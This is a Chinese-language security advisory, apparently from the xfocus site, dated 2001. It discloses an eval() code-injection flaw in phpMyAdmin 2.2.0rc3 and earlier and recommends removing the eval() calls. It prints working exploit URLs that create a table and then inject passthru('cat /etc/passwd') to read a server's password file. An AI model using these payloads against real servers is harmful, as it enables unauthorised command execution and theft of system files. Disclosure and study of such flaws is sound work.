xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

myPhpAdmin 存在新的任意命令可执行漏洞


发布时间:2001-08-01
更新时间:2001-08-01
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
phpMyAdmin versions <= 2.2.0rc3
详细描述
phpMyAdmin中的tbl_copy.php' 和 'tbl_rename.php' 脚本中存在如下代码:

tbl_copy.php: eval("\$message = \"$strCopyTableOK\";");
tbl_rename.php: eval("\$message = \"$strRenameTableOK\";");

如果可能修改$strCopyTableOK 或者$strRenameTableOK内容,就可能让eval()
执行任意代码。幸运的是攻击者可能控制这些变量的内容,如下提交的URL:

http://victim/phpmyadmin/tbl_copy.php?strCopyTableOK=".passthru('cat%20/etc/passwd')."

可能显示/etc/passwd的内容,但是这里没有成功,因为在我们获得eval()之前
就有代码停止了执行:

if (isset($new_name) && $new_name!=""){
                .
        $result = mysql_query($sql_structure) or mysql_die();
                .
        $result = mysql_query($query) or mysql_die();
                .
        $result = mysql_query($sql_structure) or mysql_die();
}
else mysql_die($strTableEmpty);


如果任意mysql_query() 调用失败,Mysql_die就会调用并停止执行,这样
就不能让我们的eval()执行命令。

为了使调用成功,我们需要我们有一数据库来建立表,这可以通过'tbl_create.php'
脚本来执行:

http://victim/phpmyadmin/tbl_create.php?db=test&table=haxor&query=dummy+integer+primary+key+auto_increment&submit=1

默认安装下,我们不需要用户名和密码,现在我们就可以利用:

http://victim/phpmyadmin/tbl_copy.php?db=test&table=haxor&new_name=test.haxor2&strCopyTableOK=".passthru('cat%20/etc/passwd')."

而成功获得密码文件的内容。

测试代码
见描述部分。

解决方案
在'tbl_copy.php' 和 'tbl_rename.php' 中注释eval()声明。
因为这个eval()中的$strCopyTableOK 和$strRenameTableOK 变量没有定义
过不会在脚本任何地方用到。

相关信息
Carl Livitt (carl@ititc.com)